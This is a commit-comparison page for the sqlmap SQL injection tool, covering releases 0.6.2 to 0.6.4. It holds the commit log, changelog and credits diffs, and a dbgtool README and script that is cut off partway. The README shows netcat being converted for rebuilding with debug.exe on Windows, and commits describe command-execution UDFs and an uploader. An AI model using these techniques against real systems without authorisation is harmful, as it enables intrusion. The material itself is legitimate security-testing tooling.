Compare commits

...

131 Commits
0.6.2 ... 0.6.4

Author SHA1 Message Date
Bernardo Damele
b12d955274 Updated packaging scripts, site and finalized the documentation to release version 0.6.4 2009-02-03 15:38:40 +00:00
Bernardo Damele
770e000cb4 Fixed another bug on Microsoft SQL Server custom "limited" query reported by Konrads Smelkovs 2009-02-02 23:44:19 +00:00
Bernardo Damele
9ab174a444 Almost ready with the user's manual for 0.6.4 release 2009-02-01 13:44:44 +00:00
Bernardo Damele
77d9d22ceb Minor update to the user's manual 2009-02-01 00:20:08 +00:00
Bernardo Damele
dded57f1cd Minor bug fix to correctly unpack user's custom queries on Microsoft SQL Server 2009-01-30 23:58:48 +00:00
Bernardo Damele
ad03684788 Added another PostgreSQL banner signature for Windows (it's specific
for PostgreSQL compiled by hand with MinGW/GCC or using the binary MSI
file of PostgreSQL version 8.2.x. PostgreSQL 8.3.x is compiled by
default using Visual C++)
2009-01-30 00:35:05 +00:00
Bernardo Damele
6054090191 sqlmap 0.6-rc5: major bug fix to make --sql-shell and --sql-query work properly also with mixed case statements (i.e oRDeR bY). Thanks Konrads Smelkovs to notifying. 2009-01-28 14:53:11 +00:00
Bernardo Damele
a8d57bb031 Avoid DeprecationWarning with Python 2.6+ 2009-01-22 23:53:01 +00:00
Bernardo Damele
193482a62b Updated user's manual 2009-01-22 23:44:44 +00:00
Bernardo Damele
981c7a4428 Updated Microsoft SQL Server XML signature db 2009-01-22 22:30:45 +00:00
Bernardo Damele
793c323b2a Major bug fixes 2009-01-22 22:28:27 +00:00
Bernardo Damele
d54a51a328 Updated the HTML manual for the MySQL UDF and consequently other files. Thanks Roland! 2009-01-22 21:28:56 +00:00
Bernardo Damele
69204afe1f Updated copyright 2009-01-22 00:41:57 +00:00
Bernardo Damele
9631dc115e Added PostgreSQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

Inspired by lib_mysqludf_sys 0.0.3 (https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/)
2009-01-22 00:35:17 +00:00
Bernardo Damele
ae0f1985f3 Updated also the patch file 2009-01-21 20:54:14 +00:00
Bernardo Damele
deeccf9b5e Updated tar.gz package 2009-01-21 00:53:10 +00:00
Bernardo Damele
1c5925ea2b Minor adjustments 2009-01-21 00:52:23 +00:00
Bernardo Damele
7adbf5892d Updated user's manual 2009-01-19 23:45:54 +00:00
Bernardo Damele
c25b49e80e Major bugfix to avoid "IFNULL and CAST" on CASE 2009-01-19 21:27:51 +00:00
Bernardo Damele
96db179ffe Minor adjustment 2009-01-19 21:26:02 +00:00
Bernardo Damele
f91843540f Major bug fix when the CU alias (current user) is given (with -U option)
together with --privileges or --password to work properly also on
MySQL >= 5.0.
2009-01-19 21:25:37 +00:00
Bernardo Damele
8f973ce574 Minor layout adjustments 2009-01-18 22:36:48 +00:00
Bernardo Damele
161590e121 Added MySQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

It's a patched version of http://mysqludf.org/lib_mysqludf_sys/index.php
2009-01-17 00:13:16 +00:00
Bernardo Damele
6690b4c00a Added svn executable property 2009-01-17 00:05:47 +00:00
Bernardo Damele
bc3b4c6936 Minor layout adjustments in the user's manual 2009-01-13 23:16:34 +00:00
Bernardo Damele
fd7cb9101c Major bug fix to forge SQL injection payload on Oracle 2009-01-13 23:15:57 +00:00
Bernardo Damele
bc448211c5 Minor layout adjustment 2009-01-13 23:15:23 +00:00
Bernardo Damele
73e713c5ba Minor adjustments 2009-01-12 23:59:07 +00:00
Bernardo Damele
26cb082fc3 Added a README for dbgtool 2009-01-12 23:17:15 +00:00
Bernardo Damele
de393628d0 Added dbgtool to extras, a port in python of toolcrypt.org dbgtool. Inspired by sqlninja perl script makescr.pl. 2009-01-12 23:02:02 +00:00
Bernardo Damele
5560f0b68a Updated the copyright 2009-01-12 21:35:38 +00:00
Bernardo Damele
92645dd264 Minor adjustment 2009-01-10 14:51:12 +00:00
Bernardo Damele
9b0f11f879 Added an ASP uploader 2009-01-10 14:40:04 +00:00
Bernardo Damele
e10ab5aa0e Major bug fixes 2009-01-10 14:39:27 +00:00
Bernardo Damele
9c125a2b57 Minor improvement to use Python ConfigParser library when --save if specified.
Minor update to the user's manual
2009-01-03 22:59:22 +00:00
Bernardo Damele
6ff8feb5cf Updated documentation 2009-01-03 01:25:43 +00:00
Bernardo Damele
d0604ef513 Major bug fix to correctly handle custom SQL "limited" queries on Oracle 2009-01-03 01:19:04 +00:00
Bernardo Damele
2d87a3349f Fixed custom MSSQL "limited" query support also for Partial UNION query technique 2009-01-03 00:27:04 +00:00
Bernardo Damele
9c42a883be Major bug fix to make it work properly with MSSQL custom limited (SELECT
TOP ...) queries with both inferential blind and Full UNION query
injection
2009-01-02 23:26:45 +00:00
Bernardo Damele
2cc3bb2f6a Minor improvement to PostgreSQL signatures file to identify Windows.
Minor improvement to Microsoft SQL Server "limit" queries.
2009-01-02 23:23:55 +00:00
Bernardo Damele
9e0d890171 Fixed MySQL 5.1 extensive fingerprint 2009-01-02 23:21:31 +00:00
Bernardo Damele
c1010c20d8 Minor adjustments 2008-12-30 21:24:01 +00:00
Bernardo Damele
a4d62af2ea Minor layout adjustments to --union-tech 2008-12-29 18:48:23 +00:00
Bernardo Damele
9340bf59fb Updated Microsoft SQL Server signature XML file.
Minor layout adjustments to --update output messages/diff
2008-12-29 18:46:43 +00:00
Bernardo Damele
0e9873fd4f Preparing documentation for 0.6.4 2008-12-29 18:44:20 +00:00
Bernardo Damele
c83593c044 Limited custom query now works also on Oracle in inferential blind SQL
injection technique
2008-12-23 23:34:50 +00:00
Bernardo Damele
24ddbdc89d Minor layout adjustment 2008-12-22 23:34:22 +00:00
Bernardo Damele
b0ad102efb Better fingerprint technique for Microsoft SQL Server 2008-12-22 23:32:43 +00:00
Bernardo Damele
79c8d63b88 Major speed increase in DBMS basic fingerprint 2008-12-22 23:26:44 +00:00
Bernardo Damele
64bb57d786 Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server.
2008-12-22 22:48:44 +00:00
Bernardo Damele
1f7810e46a Major bug fix to make partial UNION query sql injection work properly
also on Microsoft SQL Server
2008-12-22 19:36:01 +00:00
Bernardo Damele
064029cb2d Addd one more MS Access signature 2008-12-22 19:35:13 +00:00
Bernardo Damele
04c187c66a Working on a bug (fix for Partial UNION query SQL injection technique
both Oracle and Microsoft SQL Server).
2008-12-22 00:51:09 +00:00
Bernardo Damele
2f406b3e56 Minor adjustments 2008-12-22 00:04:28 +00:00
Bernardo Damele
c05f600e90 Minor fix 2008-12-21 21:40:09 +00:00
Bernardo Damele
4ae464c80d Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause.
2008-12-21 21:39:53 +00:00
Bernardo Damele
f92b76a8b0 Minor bug fix 2008-12-21 16:39:40 +00:00
Bernardo Damele
374b9ba878 Updated documentation based upon recent developments 2008-12-21 16:35:45 +00:00
Bernardo Damele
35708a0b97 Minor adjustment to UNION query SQL injection detection function.
Updated command line help message based upon recent developments.
Updated copyright note of lib/contrib/multipartpost.py.
2008-12-21 16:35:03 +00:00
Bernardo Damele
996a872e51 We are already on sqlmap 0.6.4 release candidate 1.. 2008-12-20 13:23:26 +00:00
Bernardo Damele
c18efe5084 Minor adjustments 2008-12-20 13:21:47 +00:00
Bernardo Damele
8d06975142 Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib SequenceMatcher
object: this changed a lot into the structure of the code, has to be
extensively beta-tested!
Please, do report bugs on sqlmap-users mailing list if you scout them.
Cheers,
Bernardo
2008-12-20 01:54:08 +00:00
Bernardo Damele
7e8ac16245 Added preventive check for stacked queries support when executing DDL,
DML & co. statements in SQL query and SQL shell. Minor improvements on    
this new feature.
Increased default connection timeout to 30 seconds (needed for vmware
machine not correctly synched).
2008-12-19 20:48:33 +00:00
Bernardo Damele
ad228e6947 Ahead with the improvements to the comparison algorithm.
Added support internally to forge CASE statements, used only by
--is-dba query at the moment.
Allow DDL, DML (INSERT, UPDATE, etc.) from user in SQL query and
SQL shell.
Minor code adjustments.
2008-12-19 20:09:46 +00:00
Bernardo Damele
68354be45a Ahead with enhancements on comparison algorithm: implemented content-length technique 2008-12-18 22:49:35 +00:00
Bernardo Damele
afbd66f6d9 Added some comments 2008-12-18 21:58:05 +00:00
Bernardo Damele
d0d6632c22 Initial support to automatically work around the dynamic page at each refresh
(Major refactor to the comparison algorithm (True/False response))
2008-12-18 20:48:23 +00:00
Bernardo Damele
3fe493b63d Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator.
2008-12-18 20:41:11 +00:00
Bernardo Damele
c32ef9d751 Major bug fix to avoid tracebacks when multiple targets are specified and one
of them is not reachable.
Minor bug fix to make the --postfix work even if --prefix is not provided.
2008-12-18 20:38:57 +00:00
Bernardo Damele
2efb3ae2ba Documentation updated, now ready for 0.6.3 release 2008-12-17 23:26:14 +00:00
Bernardo Damele
6dec56d616 Major bug fix 2008-12-17 21:35:04 +00:00
Bernardo Damele
bb9079aa9d Minor documentation adjustments 2008-12-17 20:58:19 +00:00
Bernardo Damele
94c79e3209 Updated documentation 2008-12-17 20:17:34 +00:00
Bernardo Damele
dda62ba463 Minor adjustments and bug fixes 2008-12-17 20:11:18 +00:00
Bernardo Damele
7b55840b35 cleanup configuration INI file 2008-12-17 00:22:27 +00:00
Bernardo Damele
ec11f502df Site and documentation updated, ready to release 0.6.3 in two days 2008-12-17 00:19:01 +00:00
Bernardo Damele
36d9ede001 Updated documentation, ready for sqlmap 0.6.3 release 2008-12-16 23:52:16 +00:00
Bernardo Damele
b7f2602b50 A bit more entropy in the sql injection detection 2008-12-16 23:51:56 +00:00
Bernardo Damele
2b0ec1868d Updated documentation 2008-12-16 21:31:15 +00:00
Bernardo Damele
4156181367 Minor fix 2008-12-16 21:31:01 +00:00
Bernardo Damele
05a8c8d3bf Added support to test for stacked queries support and improved check for time based blind sql injection.
Minor bug fix in --save option
2008-12-16 21:30:24 +00:00
Bernardo Damele
bf2a857b9a Minor adjustments and minor bug fixes. Documentation almost complete for sqlmap 0.6.3. 2008-12-12 19:06:31 +00:00
Bernardo Damele
072eb7154c Major enhancement to support Partial UNION query SQL injection technique too.
Minor code cleanup.
2008-12-10 17:23:07 +00:00
Bernardo Damele
9dbad512f1 sqlmap 0.6.3-rc4: minor enhancement to be able to specify extra HTTP headers
by providing option --headers. By default Accept, Accept-Language and
Accept-Charset headers are set.
Added support to get the injection payload prefix and postfix from user.
Minor bug fix to exclude image files when parsing (-l) proxies log files.
Minor code adjustments.
Updated documentation.
2008-12-08 21:24:24 +00:00
Bernardo Damele
15542d2772 Minor layout adjustment 2008-12-05 16:00:18 +00:00
Bernardo Damele
38c9627700 Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content
2008-12-05 15:34:13 +00:00
Bernardo Damele
78e8a83c11 Minor improvement to be able to provide CU as user value (-U) when enumerating
users privileges or users passwords.
2008-12-05 15:32:59 +00:00
Bernardo Damele
7f055924a7 sqlmap 0.6.3-rc4:
Minor enhancement to be able to specify the number of seconds before
timeout the connection, default is set to 10 seconds.
Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url.
Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread.
Minor code restyling.
Updated documentation.
2008-12-04 17:40:03 +00:00
Bernardo Damele
0f07e33e1a Removed REVISION, makes no sense.
Import and use python psyco library to speed up if it's installed: it's optional.
2008-12-03 17:32:16 +00:00
Bernardo Damele
e3ddbe751f Minor code refactoring 2008-12-02 23:49:38 +00:00
Bernardo Damele
4cb161ce4f Minor signatures adjustments 2008-12-02 23:48:07 +00:00
Bernardo Damele
b700485a1b Minor adjustment, still to work on the cookie urlencoding/decoding 2008-12-02 21:57:12 +00:00
Bernardo Damele
578bcb9140 Initial support for partial UNION query sql injection 2008-12-02 21:56:23 +00:00
Bernardo Damele
f97585c593 Show also SVN revision in error message when a traceback raises.
Fix typo.
2008-12-01 23:49:14 +00:00
Bernardo Damele
e75487a26c Reverted last commit, cleaner this way 2008-12-01 23:33:15 +00:00
Bernardo Damele
e2a805ef6a Minor workaround because of latest bug fix 2008-12-01 23:32:14 +00:00
Bernardo Damele
a777f1ca35 Minor bug fix 2008-12-01 23:27:51 +00:00
Bernardo Damele
034a3f387a Minor improvement when testing for UNION query SQL injection to check only without comment and with DBMS specific comment (not anymore "random" unspecific comment characters) 2008-12-01 23:09:07 +00:00
Bernardo Damele
3cf1658532 Increased default output level from 0 to 1 2008-12-01 23:07:41 +00:00
Bernardo Damele
428612b431 Comment and layout adjustments 2008-12-01 23:04:01 +00:00
Bernardo Damele
beea58f2e9 Updated MySQL versions 2008-12-01 23:02:52 +00:00
Bernardo Damele
e967b13378 Minor adjustment to command line usage message 2008-11-27 23:06:02 +00:00
Bernardo Damele
6e548eb2ec Completed support to get the list of targets from WebScarab/Burp proxies
log file and updated the documentation
2008-11-27 22:33:33 +00:00
Bernardo Damele
785352d700 Minor adjustments to signatures 2008-11-27 22:31:43 +00:00
Bernardo Damele
dc1f2deb74 Minor bug fix to correctly enumerate columns on Microsoft SQL Server.
Minor adjustments to XML signatures.
Updated documentation.
2008-11-25 11:33:44 +00:00
Bernardo Damele
f2737ad0a3 Updated work on multiple targets support (works for WebScarab conversations/ folder, still to work out for Burp log file).
Major bug fix in the controller library.
2008-11-22 01:57:22 +00:00
Bernardo Damele
9be844cf3e Adapted the code to support a list of targets from a text file (Burp log file) or from a directory (WebScarab conversations folder) with command line option -l. 2008-11-20 17:56:09 +00:00
Bernardo Damele
80425c9ccd Minor adjustment to ETA feature 2008-11-20 11:13:04 +00:00
Bernardo Damele
8f74fe2ce9 Added new HTTP response headers on which fingerprint web app technology and web server OS.
Updated documentation.
2008-11-19 15:33:39 +00:00
Bernardo Damele
736b2e7323 Minor adjustments to the operating system fingerprint. 2008-11-19 00:36:44 +00:00
Bernardo Damele
727664aea7 Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing also HTTP response Server
header.
Refactor libraries and plugins that parses XML to fingerprint and show
on standard output the information.
Updated changelog.
2008-11-18 17:42:46 +00:00
Bernardo Damele
7d0724843f Major enhancement to the engine to parse XML files and matches on DBMS banner
and HTTP response headers.
Initial web application technology fingerprint (for the moment based only on
X-Powered-By HTTP response header and not shown yet to the user).
Minor layout adjustments.
2008-11-17 17:41:02 +00:00
Bernardo Damele
66fb3c3033 Minor enhancement to show the DBMS operating system (if fingerprinted)
also when only -b option is provided since it's an information that
sqlmap get parsing the DBMS banner.
Got rid completely of useless passive fuzzing.
2008-11-17 11:22:03 +00:00
Bernardo Damele
7d7170fc97 Minor code adjustments 2008-11-17 00:13:49 +00:00
Bernardo Damele
654aecedfe Minor layout adjustments, minor fixes and updated changelog 2008-11-17 00:00:54 +00:00
Bernardo Damele
fa0507ab39 Minor enhancement to fingerprint the back-end DBMS operating system (type,
version, release, distribution, codename and service pack) by parsing the
DBMS banner value when both -f and -b are provided: adapted the code and
added XML files defining regular expressions for matching.

Example of the -f -b output now on MySQL 5.0.67 running on latest Ubuntu:
--8<--
back-end DBMS:	active fingerprint: MySQL >= 5.0.38 and < 5.1.2
                comment injection fingerprint: MySQL 5.0.67
                banner parsing fingerprint: MySQL 5.0.67
                html error message fingerprint: MySQL
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid)
--8<--
2008-11-15 23:41:31 +00:00
Bernardo Damele
84cbc60659 Major bug fix to correctly handle httplib.BadStatusLine exception.
Minor improvement to set by default in all HTTP requests the standard HTTP headers (Accept, Accept-Encoding, etc.)
Updated user's manual.
2008-11-15 12:25:19 +00:00
Bernardo Damele
4bf1fcb8ec Minor layout adjustment 2008-11-15 01:10:29 +00:00
Bernardo Damele
0bd5b52d95 Minor fixes 2008-11-13 00:03:04 +00:00
Bernardo Damele
ecc4a98071 Properly moved and improved inject.goStacked() function and newly
implemented Time based blind SQL injection now is a single test file
within the lib/techniques/ folder.
Renamed lib/techniques/inference to lib/techniques/blind, it is more
approriate and adapted the rest of the libraries.
Updated ChangeLog file.
2008-11-12 23:44:09 +00:00
Bernardo Damele
9329f8c9c4 Minor enhancement to be able to enumerate table columns and dump table
entries also if the database name is not provided by using the current
database on MySQL and MSSQL, the 'public' scheme on PostgreSQL and the
'USERS' TABLESPACE_NAME on Oracle.
Minor bug fix so that when the user provide as SELECT statement to be
processed an asterisk, now it also work if in the FROM there is no
database name specified.
Minor layout adjustments.
2008-11-12 22:53:25 +00:00
Bernardo Damele
81ed7c2086 Initial implementation of support for stacked queries.
Added method to test for Time based blind SQL injection query stacking
on the affected parameter a SLEEP() or similar DBMS specific function.
Adapted libraries, plugins and XML with the above changes.
Minor layout adjustments.
2008-11-12 00:36:50 +00:00
Bernardo Damele
13f76cfe3b Adjusted unhandled exception error message 2008-11-11 14:08:40 +00:00
Bernardo Damele
e1385eb2bf Removed useless W3C reference for CSS/HTML validation 2008-11-09 19:00:54 +00:00
Bernardo Damele
0c5d3df546 sqlmap 0.6.3-rc1:
* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request.
* Minor bug fix to handle session.error and session.timeout in HTTP requests.
* Updated documentation.
2008-11-09 16:57:47 +00:00
Bernardo Damele
544ced52b5 Name adjustment 2008-11-04 19:56:07 +00:00
Bernardo Damele
2a01de3f0b Minor bug fix to correctly dump table entries when the column is provided 2008-11-04 19:54:44 +00:00
Bernardo Damele
be599d5a33 Updated documentation and minor fix in update functionality 2008-11-04 16:33:13 +00:00
Bernardo Damele
359b28bbaf Updated documentation 2008-11-04 16:09:12 +00:00
Bernardo Damele
0f79ec0088 Minor bug fix in MySQL comment injection fingerprint technique 2008-11-04 16:05:43 +00:00
Bernardo Damele
278f0aad7c Documentation updated 2008-11-03 01:23:55 +00:00
105 changed files with 9240 additions and 3139 deletions

View File

@@ -1,3 +1,92 @@
sqlmap (0.6.4-1) stable; urgency=low
* Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib Sequence Matcher
object;
* Major enhancement to support SQL data definition statements, SQL data
manipulation statements, etc from user in SQL query and SQL shell if
stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint;
* Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator;
* Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause bruteforcing;
* Added internal support to forge CASE statements, used only by --is-dba
query at the moment;
* Minor layout adjustment to the --update output;
* Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on
Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server;
* Minor bug fix to make the --postfix work even if --prefix is not
provided;
* Updated documentation.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
sqlmap (0.6.3-1) stable; urgency=low
* Major enhancement to get list of targets to test from Burp proxy
(http://portswigger.net/suite/) requests log file path or WebScarab
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection
technique too;
* Major enhancement to test if the web application technology supports
stacked queries (multiple statements) by providing option
--stacked-test which will be then used someday also by takeover
functionality;
* Major enhancement to test if the injectable parameter is affected by
a time based blind SQL injection technique by providing option
--time-test;
* Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by
parsing the DBMS banner value when -b option is provided;
* Minor enhancement to be able to specify the number of seconds before
timeout the connection by providing option --timeout #, default is set
to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request by providing option --delay #;
* Minor enhancement to be able to get the injection payload --prefix and
--postfix from user;
* Minor enhancement to be able to enumerate table columns and dump table
entries, also when the database name is not provided, by using the
current database on MySQL and Microsoft SQL Server, the 'public'
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content;
* Minor enhancement to be able to specify extra HTTP headers by providing
option --headers. By default Accept, Accept-Language and Accept-Charset
headers are set;
* Minor improvement to be able to provide CU (as current user) as user
value (-U) when enumerating users privileges or users passwords;
* Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url;
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
* Major bug fix so that when the user provide a SELECT statement to be
processed with an asterisk as columns, now it also work if in the FROM
there is no database name specified;
* Minor bug fix to correctly dump table entries when the column is
provided;
* Minor bug fix to correctly handle session.error, session.timeout and
httplib.BadStatusLine exceptions in HTTP requests;
* Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread;
* Increased default output level from 0 to 1;
* Updated documentation.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Thu, 18 Dec 2008 10:00:00 +0000
sqlmap (0.6.2-1) stable; urgency=low
* Major bug fix to correctly dump tables entries when --stop is not
@@ -12,6 +101,7 @@ sqlmap (0.6.2-1) stable; urgency=low
variable) is an integer and, for some reasons, its resumed value from
the session file is a string or a binary file, the query is executed
again and its new output saved to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump
tables entries on Oracle and on PostgreSQL when the database name is
not 'public' schema or a system database;
@@ -19,11 +109,10 @@ sqlmap (0.6.2-1) stable; urgency=low
database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* More user-friendly warnin messages.
* More user-friendly warning messages.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
sqlmap (0.6.1-1) stable; urgency=low
* Major bug fix to blind SQL injection bisection algorithm to handle an
@@ -45,7 +134,6 @@ sqlmap (0.6.1-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
sqlmap (0.6-1) stable; urgency=low
* Complete code refactor and many bugs fixed;
@@ -111,7 +199,6 @@ sqlmap (0.6-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
sqlmap (0.5-1) stable; urgency=low
* Added support for Oracle database management system
@@ -159,7 +246,6 @@ sqlmap (0.5-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
sqlmap (0.4-1) stable; urgency=low
* Added DBMS fingerprint based also upon HTML error messages parsing
@@ -188,14 +274,14 @@ sqlmap (0.4-1) stable; urgency=low
the remote DBMS;
* Major improvements in union.UnionCheck() and union.UnionUse()
functions to make it possible to exploit inband SQL injection also
with database comment characters ('--' and '#') in UNION SELECT
with database comment characters ('--' and '#') in UNION query
statements;
* Added the possibility to save the output into a file while performing
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
same query output retrieving in a second time (--resume);
* Added support to specify the database table column to enumerate
(-C COL);
* Added inband SQL injection (UNION SELECT) support (--union-use);
* Added inband SQL injection (UNION query) support (--union-use);
* Complete code refactoring, a lot of minor and some major fixes in
libraries, many minor improvements;
* Reviewed the directory tree structure;
@@ -205,7 +291,6 @@ sqlmap (0.4-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
sqlmap (0.3-1) stable; urgency=low
* Added module for MS SQL Server;
@@ -226,7 +311,6 @@ sqlmap (0.3-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
sqlmap (0.2-1) stable; urgency=low
* complete refactor of entire program;

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -5,16 +5,26 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature
taking data from his site
Jack Butler <fattredd@hotmail.com>
for providing me with the sqlmap site favicon
Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference
algorithm
Pierre Chifflier <pollux@debian.org>
for uploading the sqlmap 0.6.2 Debian package to the official Debian
project repository
Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features
Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs
Jim Forster <jimforster@goldenwest.com>
for reporting a bug
Rong-En Fan <rafan@freebsd.org>
for commiting the sqlmap 0.5 port to the official FreeBSD project
repository
@@ -26,6 +36,7 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
Ivan Giacomelli <truemilk@insiberia.net>
for reporting a bug
for suggesting a minor enhancement
for reviewing the documentation
Davide Guerri <d.guerri@caspur.it>
for suggesting an enhancement
@@ -44,6 +55,12 @@ Will Holcomb <wholcomb@gmail.com>
Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0
Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual
Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features
Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter
@@ -52,6 +69,10 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
for providing really appreciated feedback
for suggesting a lot of ideas and features
Ferruh Mavituna <ferruh@mavituna.com>
for providing me with ideas on the implementation on a couple of
new features
Enrico Milanese <enricomilanese@gmail.com>
for reporting a bugs when using (-a) a single line User-Agent file
for providing me with some ideas for the PHP backdoor
@@ -88,12 +109,35 @@ Richard Safran <allapplyhere@yahoo.com>
Tomoyuki Sakurai <cherry@trombik.org>
for submitting to the FreeBSD project the sqlmap 0.5 port
Philippe A. R. Schaeffer <schaeff@compuphil.de>
for reporting a minor bug
Sven Schluter <sschlueter@netzwerk.cc>
for providing with a patch for waiting a number of seconds between
each HTTP request
Uemit Seren <uemit.seren@gmail.com>
for reporting a minor adjustment when running with python 2.6
Sumit Siddharth <sid@notsosecure.com>
for providing me with ideas on the implementation on a couple of
features
M Simkin <mlsimkin@cox.net>
for suggesting a feature
Konrads Smelkovs <konrads@smelkovs.com>
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
SQL Server
Jason Swan <jasoneswan@gmail.com>
for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements
Alessandro Tanasi <alessandro@tanasi.it>
for extensively beta-testing sqlmap
for suggesting many features and reporting some bugs
for reviewing the documentation
Efrain Torres <et@metasploit.com>
for helping me out to improve the Metasploit Framework 3 sqlmap
@@ -110,6 +154,9 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
for benchmarking sqlmap in the context of his SQL injection
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
for reporting an unhandled connection exception
fufuh <fufuh@users.sourceforge.net>
for reporting a bug when running on Windows

24
extra/dbgtool/README.txt Normal file
View File

@@ -0,0 +1,24 @@
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
and optionally the output debug.exe script file name.
Example:
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
This will create a ASCII text file with CRLF line terminators called
nc.scr.
Such file can then be converted to its original portable executable with
the Windows native debug.exe, that is installed by default in all Windows
systems:
> debug.exe < nc.scr
To be able to execute it on Windows you have to rename it to end with
'.com' or '.exe':
> ren nc_exe nc.exe
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

114
extra/dbgtool/dbgtool.py Executable file
View File

@@ -0,0 +1,114 @@
#!/usr/bin/env python
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import struct
from optparse import OptionError
from optparse import OptionParser
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
if fileSize > 65280:
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
sys.exit(1)
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
scrString = ""
counter = 256
counter2 = 0
fp = open(inputFile, 'rb')
fileContent = fp.read()
for fileChar in fileContent:
unsignedFileChar = struct.unpack('B', fileChar)[0]
if unsignedFileChar != 0:
counter2 += 1
if not scrString:
scrString = "e %0x %02x" % (counter, unsignedFileChar)
else:
scrString += " %02x" % unsignedFileChar
elif scrString:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
counter += 1
if counter2 == 20:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
script += "w\r\nq\r\n"
return script
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
